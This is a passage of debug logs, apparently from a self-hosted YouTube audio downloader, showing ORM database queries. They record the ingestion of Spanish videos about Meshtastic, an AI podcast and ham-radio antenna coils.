obligatoria)\n\nhttps://meshtastic.es/primeros-pasos\n\nPágina principal de Meshtastic en Españaa (muy recomendable)\n\nhttps://meshtastic.es/\n\nMapa Nodos Meshtastic (no están todos, solo los que conectan con Internet)\n\nhttps://mapa.meshtastic.es\n\nCanal Telegram Meshtastic España:\n\nhttp://t.me/meshtastic_esp\n\nCanal Telegram Meshtastic Cataluña:\n\nhttps://t.me/MeshtasticGirona\n\n#meshtastic #lora #preparacionismo #preppers #diyelectronics\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1582, "filename" => "/downloads/music/ea3grn/158 - INTENTANDO ACLARAR DUDAS SOBRE MESHTASTIC - SOBRE TODO PARA LOS RECIEN LLEGADOS.m4a", "id" => "qi3clr-u6-4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=qi3clr-u6-4", "playlist_index" => 23, "timestamp" => 1747328467, "title" => "158 - INTENTANDO ACLARAR DUDAS SOBRE MESHTASTIC - SOBRE TODO PARA LOS RECIEN LLEGADOS", "upload_date" => "20250515"} 22:13:36.884 [debug] QUERY OK source="sources" db=0.7ms idle=904.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:13:36.885 [debug] QUERY OK source="sources" db=0.4ms idle=130.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:13:36.886 [debug] QUERY OK source="media_items" db=0.6ms idle=131.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-15 17:01:07Z], 3] 22:13:36.888 [debug] QUERY OK source="media_items" db=1.1ms idle=132.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Algunas dudas y preguntas sobre Meshtastic y Lora, solo para los muy principiantes en el tema y que espero os resulte útil.\n\nReferencias:\n\nPrimeros Pasos (lectura obligatoria)\n\nhttps://meshtastic.es/primeros-pasos\n\nPágina principal de Meshtastic en Españaa (muy recomendable)\n\nhttps://meshtastic.es/\n\nMapa Nodos Meshtastic (no están todos, solo los que conectan con Internet)\n\nhttps://mapa.meshtastic.es\n\nCanal Telegram Meshtastic España:\n\nhttp://t.me/meshtastic_esp\n\nCanal Telegram Meshtastic Cataluña:\n\nhttps://t.me/MeshtasticGirona\n\n#meshtastic #lora #preparacionismo #preppers #diyelectronics\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "158 - INTENTANDO ACLARAR DUDAS SOBRE MESHTASTIC - SOBRE TODO PARA LOS RECIEN LLEGADOS", "4f6e0841-9fee-48bd-a3e9-d2a40c28761e", 1582, false, "qi3clr-u6-4", "https://www.youtube.com/watch?v=qi3clr-u6-4", 23, "/downloads/music/ea3grn/158 - INTENTANDO ACLARAR DUDAS SOBRE MESHTASTIC - SOBRE TODO PARA LOS RECIEN LLEGADOS.m4a", false, false, false, 3, [], 98, ~U[2025-05-15 17:01:07Z], ~U[2026-02-07 21:13:36Z], ~U[2026-02-07 21:13:36Z], "Algunas dudas y preguntas sobre Meshtastic y Lora, solo para los muy principiantes en el tema y que espero os resulte útil.\n\nReferencias:\n\nPrimeros Pasos (lectura obligatoria)\n\nhttps://meshtastic.es/primeros-pasos\n\nPágina principal de Meshtastic en Españaa (muy recomendable)\n\nhttps://meshtastic.es/\n\nMapa Nodos Meshtastic (no están todos, solo los que conectan con Internet)\n\nhttps://mapa.meshtastic.es\n\nCanal Telegram Meshtastic España:\n\nhttp://t.me/meshtastic_esp\n\nCanal Telegram Meshtastic Cataluña:\n\nhttps://t.me/MeshtasticGirona\n\n#meshtastic #lora #preparacionismo #preppers #diyelectronics\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "158 - INTENTANDO ACLARAR DUDAS SOBRE MESHTASTIC - SOBRE TODO PARA LOS RECIEN LLEGADOS", 1582, false, "qi3clr-u6-4", "https://www.youtube.com/watch?v=qi3clr-u6-4", "/downloads/music/ea3grn/158 - INTENTANDO ACLARAR DUDAS SOBRE MESHTASTIC - SOBRE TODO PARA LOS RECIEN LLEGADOS.m4a", false, 3, ~U[2025-05-15 17:01:07Z]] 22:13:36.888 [debug] QUERY OK source="sources" db=0.4ms idle=133.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:13:36.889 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:13:36.890 [debug] QUERY OK source="media_items" db=0.5ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1333] 22:13:36.890 [debug] Current batch of media processed. Will check again in 1000ms 22:13:37.842 [debug] Current batch of media processed. Will check again in 1000ms 22:13:37.891 [debug] Current batch of media processed. Will check again in 1000ms 22:13:38.843 [debug] Current batch of media processed. Will check again in 1000ms 22:13:38.892 [debug] Current batch of media processed. Will check again in 1000ms 22:13:39.844 [debug] Current batch of media processed. Will check again in 1000ms 22:13:39.893 [debug] Current batch of media processed. Will check again in 1000ms 22:13:40.845 [debug] Current batch of media processed. Will check again in 1000ms 22:13:40.894 [debug] Current batch of media processed. Will check again in 1000ms 22:13:41.846 [debug] Current batch of media processed. Will check again in 1000ms 22:13:41.895 [debug] Current batch of media processed. Will check again in 1000ms 22:13:42.847 [debug] Current batch of media processed. Will check again in 1000ms 22:13:42.896 [debug] Current batch of media processed. Will check again in 1000ms 22:13:43.848 [debug] Current batch of media processed. Will check again in 1000ms 22:13:43.897 [debug] Current batch of media processed. Will check again in 1000ms 22:13:44.849 [debug] Current batch of media processed. Will check again in 1000ms 22:13:44.898 [debug] Current batch of media processed. Will check again in 1000ms 22:13:45.850 [debug] Current batch of media processed. Will check again in 1000ms 22:13:45.899 [debug] Current batch of media processed. Will check again in 1000ms 22:13:46.851 [debug] Current batch of media processed. Will check again in 1000ms 22:13:46.900 [debug] Current batch of media processed. Will check again in 1000ms 22:13:47.852 [debug] Current batch of media processed. Will check again in 1000ms 22:13:47.901 [debug] Current batch of media processed. Will check again in 1000ms 22:13:48.853 [debug] Current batch of media processed. Will check again in 1000ms 22:13:48.902 [debug] Current batch of media processed. Will check again in 1000ms 22:13:49.854 [debug] Current batch of media processed. Will check again in 1000ms 22:13:49.903 [debug] Current batch of media processed. Will check again in 1000ms 22:13:50.855 [debug] Current batch of media processed. Will check again in 1000ms 22:13:50.904 [debug] Current batch of media processed. Will check again in 1000ms 22:13:51.147 [info] {"source":"oban","duration":741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:51.856 [debug] Current batch of media processed. Will check again in 1000ms 22:13:51.905 [debug] Current batch of media processed. Will check again in 1000ms 22:13:52.857 [debug] Current batch of media processed. Will check again in 1000ms 22:13:52.906 [debug] Current batch of media processed. Will check again in 1000ms 22:13:53.858 [debug] Current batch of media processed. Will check again in 1000ms 22:13:53.907 [debug] Current batch of media processed. Will check again in 1000ms 22:13:54.859 [debug] Current batch of media processed. Will check again in 1000ms 22:13:54.908 [debug] Current batch of media processed. Will check again in 1000ms 22:13:55.860 [debug] Current batch of media processed. Will check again in 1000ms 22:13:55.909 [debug] Current batch of media processed. Will check again in 1000ms 22:13:56.861 [debug] Current batch of media processed. Will check again in 1000ms 22:13:56.910 [debug] Current batch of media processed. Will check again in 1000ms 22:13:57.862 [debug] Current batch of media processed. Will check again in 1000ms 22:13:57.911 [debug] Current batch of media processed. Will check again in 1000ms 22:13:58.863 [debug] Current batch of media processed. Will check again in 1000ms 22:13:58.912 [debug] Current batch of media processed. Will check again in 1000ms 22:13:59.864 [debug] Current batch of media processed. Will check again in 1000ms 22:13:59.913 [debug] Current batch of media processed. Will check again in 1000ms 22:14:00.090 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:14:00.865 [debug] Current batch of media processed. Will check again in 1000ms 22:14:00.914 [debug] Current batch of media processed. Will check again in 1000ms 22:14:01.866 [debug] Current batch of media processed. Will check again in 1000ms 22:14:01.915 [debug] Current batch of media processed. Will check again in 1000ms 22:14:02.867 [debug] Current batch of media processed. Will check again in 1000ms 22:14:02.916 [debug] Current batch of media processed. Will check again in 1000ms 22:14:03.868 [debug] Current batch of media processed. Will check again in 1000ms 22:14:03.917 [debug] Current batch of media processed. Will check again in 1000ms 22:14:04.869 [debug] Current batch of media processed. Will check again in 1000ms 22:14:04.918 [debug] Current batch of media processed. Will check again in 1000ms 22:14:05.870 [debug] Current batch of media processed. Will check again in 1000ms 22:14:05.919 [debug] Current batch of media processed. Will check again in 1000ms 22:14:06.871 [debug] Current batch of media processed. Will check again in 1000ms 22:14:06.920 [debug] Current batch of media processed. Will check again in 1000ms 22:14:07.872 [debug] Current batch of media processed. Will check again in 1000ms 22:14:07.921 [debug] Current batch of media processed. Will check again in 1000ms 22:14:08.873 [debug] Current batch of media processed. Will check again in 1000ms 22:14:08.922 [debug] Current batch of media processed. Will check again in 1000ms 22:14:09.874 [debug] Current batch of media processed. Will check again in 1000ms 22:14:09.923 [debug] Current batch of media processed. Will check again in 1000ms 22:14:10.875 [debug] Current batch of media processed. Will check again in 1000ms 22:14:10.924 [debug] Current batch of media processed. Will check again in 1000ms 22:14:11.876 [debug] Current batch of media processed. Will check again in 1000ms 22:14:11.925 [debug] Current batch of media processed. Will check again in 1000ms 22:14:12.877 [debug] Current batch of media processed. Will check again in 1000ms 22:14:12.926 [debug] Current batch of media processed. Will check again in 1000ms 22:14:13.878 [debug] Current batch of media processed. Will check again in 1000ms 22:14:13.927 [debug] Current batch of media processed. Will check again in 1000ms 22:14:14.879 [debug] Current batch of media processed. Will check again in 1000ms 22:14:14.928 [debug] Current batch of media processed. Will check again in 1000ms 22:14:15.880 [debug] Current batch of media processed. Will check again in 1000ms 22:14:15.929 [debug] Current batch of media processed. Will check again in 1000ms 22:14:16.881 [debug] Current batch of media processed. Will check again in 1000ms 22:14:16.930 [debug] Current batch of media processed. Will check again in 1000ms 22:14:17.882 [debug] Current batch of media processed. Will check again in 1000ms 22:14:17.931 [debug] Current batch of media processed. Will check again in 1000ms 22:14:18.883 [debug] Current batch of media processed. Will check again in 1000ms 22:14:18.932 [debug] Current batch of media processed. Will check again in 1000ms 22:14:19.884 [debug] Current batch of media processed. Will check again in 1000ms 22:14:19.933 [debug] Current batch of media processed. Will check again in 1000ms 22:14:20.885 [debug] Current batch of media processed. Will check again in 1000ms 22:14:20.934 [debug] Current batch of media processed. Will check again in 1000ms 22:14:21.148 [info] {"source":"oban","duration":944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:21.886 [debug] Current batch of media processed. Will check again in 1000ms 22:14:21.935 [debug] Current batch of media processed. Will check again in 1000ms 22:14:22.887 [debug] Current batch of media processed. Will check again in 1000ms 22:14:22.936 [debug] Current batch of media processed. Will check again in 1000ms 22:14:23.888 [debug] Current batch of media processed. Will check again in 1000ms 22:14:23.937 [debug] Current batch of media processed. Will check again in 1000ms 22:14:24.889 [debug] Current batch of media processed. Will check again in 1000ms 22:14:24.938 [debug] Current batch of media processed. Will check again in 1000ms 22:14:25.890 [debug] Current batch of media processed. Will check again in 1000ms 22:14:25.939 [debug] Current batch of media processed. Will check again in 1000ms 22:14:26.891 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#IAMIQUE 👉🏼 Ep.2️⃣7️⃣: El Amanacer ☀️\n\nComo prometimos después de dar la Cal.. viene la de Arena... que no se cual es la buena o la mala en el refrán pero hoy queremos dar la buena. 🚨☀️ Con noticia Final importantísima!!!!🚨☀️\n\nHoy David García Martínez y yo os contamos aquellas profesiones que se multiplican x10, pero que se multiplica x10 se multiplica su fuerza, su capacidad cosas, su alcance, su velocidad, su todo... donde antes se soñaba llegar a un sitio... hoy no se sueña se llega sin mas y se sueña en ir a destinos completamente ciencia ficción hasta ahora... comienza la era de la exploración (startrekada 🖖🏼Larga vida y Prosperidad)\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n#iamique #Origen #ChatGPT #IAGen #GenAI \n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "duration" => 900, "filename" => "/downloads/music/IA mí QUÉ/EP.27: EL AMANECER TRAS EL APOCALIPSIS☀️.m4a", "id" => "H2ufFSMis9k", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=H2ufFSMis9k", "playlist_index" => 23, "timestamp" => 1757072118, "title" => "EP.27: EL AMANECER TRAS EL APOCALIPSIS☀️", "upload_date" => "20250905"} 22:14:26.892 [debug] QUERY OK source="sources" db=0.6ms idle=820.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:14:26.893 [debug] QUERY OK source="sources" db=0.4ms idle=138.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:14:26.894 [debug] QUERY OK source="media_items" db=0.7ms idle=138.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-05 11:35:18Z], 2] 22:14:26.896 [debug] QUERY OK source="media_items" db=1.2ms idle=139.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#IAMIQUE 👉🏼 Ep.2️⃣7️⃣: El Amanacer ☀️\n\nComo prometimos después de dar la Cal.. viene la de Arena... que no se cual es la buena o la mala en el refrán pero hoy queremos dar la buena. 🚨☀️ Con noticia Final importantísima!!!!🚨☀️\n\nHoy David García Martínez y yo os contamos aquellas profesiones que se multiplican x10, pero que se multiplica x10 se multiplica su fuerza, su capacidad cosas, su alcance, su velocidad, su todo... donde antes se soñaba llegar a un sitio... hoy no se sueña se llega sin mas y se sueña en ir a destinos completamente ciencia ficción hasta ahora... comienza la era de la exploración (startrekada 🖖🏼Larga vida y Prosperidad)\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n#iamique #Origen #ChatGPT #IAGen #GenAI \n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP.27: EL AMANECER TRAS EL APOCALIPSIS☀️", "88e6552b-7e51-48a1-a4b1-389a832f6511", 900, false, "H2ufFSMis9k", "https://www.youtube.com/watch?v=H2ufFSMis9k", 23, "/downloads/music/IA mí QUÉ/EP.27: EL AMANECER TRAS EL APOCALIPSIS☀️.m4a", false, false, false, 2, [], 98, ~U[2025-09-05 11:35:18Z], ~U[2026-02-07 21:14:26Z], ~U[2026-02-07 21:14:26Z], "#IAMIQUE 👉🏼 Ep.2️⃣7️⃣: El Amanacer ☀️\n\nComo prometimos después de dar la Cal.. viene la de Arena... que no se cual es la buena o la mala en el refrán pero hoy queremos dar la buena. 🚨☀️ Con noticia Final importantísima!!!!🚨☀️\n\nHoy David García Martínez y yo os contamos aquellas profesiones que se multiplican x10, pero que se multiplica x10 se multiplica su fuerza, su capacidad cosas, su alcance, su velocidad, su todo... donde antes se soñaba llegar a un sitio... hoy no se sueña se llega sin mas y se sueña en ir a destinos completamente ciencia ficción hasta ahora... comienza la era de la exploración (startrekada 🖖🏼Larga vida y Prosperidad)\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n#iamique #Origen #ChatGPT #IAGen #GenAI \n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP.27: EL AMANECER TRAS EL APOCALIPSIS☀️", 900, false, "H2ufFSMis9k", "https://www.youtube.com/watch?v=H2ufFSMis9k", "/downloads/music/IA mí QUÉ/EP.27: EL AMANECER TRAS EL APOCALIPSIS☀️.m4a", false, 2, ~U[2025-09-05 11:35:18Z]] 22:14:26.896 [debug] QUERY OK source="sources" db=0.5ms idle=141.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:14:26.897 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:14:26.898 [debug] QUERY OK source="media_items" db=0.5ms idle=4.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1275] 22:14:26.898 [debug] Current batch of media processed. Will check again in 1000ms 22:14:26.940 [debug] Current batch of media processed. Will check again in 1000ms 22:14:27.899 [debug] Current batch of media processed. Will check again in 1000ms 22:14:27.941 [debug] Current batch of media processed. Will check again in 1000ms 22:14:28.900 [debug] Current batch of media processed. Will check again in 1000ms 22:14:28.942 [debug] Current batch of media processed. Will check again in 1000ms 22:14:29.901 [debug] Current batch of media processed. Will check again in 1000ms 22:14:29.943 [debug] Current batch of media processed. Will check again in 1000ms 22:14:30.902 [debug] Current batch of media processed. Will check again in 1000ms 22:14:30.944 [debug] Current batch of media processed. Will check again in 1000ms 22:14:31.903 [debug] Current batch of media processed. Will check again in 1000ms 22:14:31.945 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Construyendo bobina para la banda de 7 Mhz (y de casualidad otra para la banda de 5 Mhz) para la antena china de varilla telescopica.\n\nModelo 3d para imprimir en ASA/ABS:\n\nhttps://www.thingiverse.com/thing:7030638\n\nEn el modelo de thingiverse estan las dos bobinas, la de 17 espiras para la banda de 5 Mhz y la de 12 espiras para la banda de 7 Mhz. Con estas bobinas haceis que la antena china pueda trabajar en todas las bandas entre 60 y 6 metros.\n\nNecesitareis dos tornillos de M10 y 25mm/30mm de largo como estos:\n\nhttps://www.amazon.es/dp/B09NKWJZRN\n\nY una tuerca de acoplamiento de 30 mm y M10 como esta:\n\nhttps://www.amazon.es/dp/B0B3935CJ9\n\nPor supuesto, en una ferreteria seguro que estan mas baratos.\n\n\n Contenido del video ------------------------------\n00:00 - Presentación\n00:45 - Intro canal\n01:02 - Diseñando una bobina\n02:40 - Diseño 3D\n05:09 - Montando la bobina\n08:50 - Bobinando\n14:05 - Probando el primer diseño\n15:48 - Diseño mejorable...\n16:43 - Adaptando el diseño para 7 Mhz\n18:19 - Nueva prueba en 7 Mhz\n20:06 - Conclusiones\n\n#5Mhz #7Mhz #bobina #antena #china #hamradio #diyelectronics #radioaficionados #construye-tus-antenas\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1401, "filename" => "/downloads/music/ea3grn/157 - CONSTRUYENDO BOBINAS PARA 5 Y 7 MHz PARA LA ANTENA CHINA DE VARILLA EXTENSIBLE.m4a", "id" => "-01R2j80KkY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=-01R2j80KkY", "playlist_index" => 24, "timestamp" => 1746723136, "title" => "157 - CONSTRUYENDO BOBINAS PARA 5 Y 7 MHz PARA LA ANTENA CHINA DE VARILLA EXTENSIBLE", "upload_date" => "20250508"} 22:14:31.946 [debug] QUERY OK source="sources" db=0.5ms idle=1191.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:14:31.947 [debug] QUERY OK source="sources" db=0.5ms idle=1192.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:14:31.948 [debug] QUERY OK source="media_items" db=0.8ms idle=1192.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-08 16:52:16Z], 3] 22:14:31.950 [debug] QUERY OK source="media_items" db=1.3ms idle=1194.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = 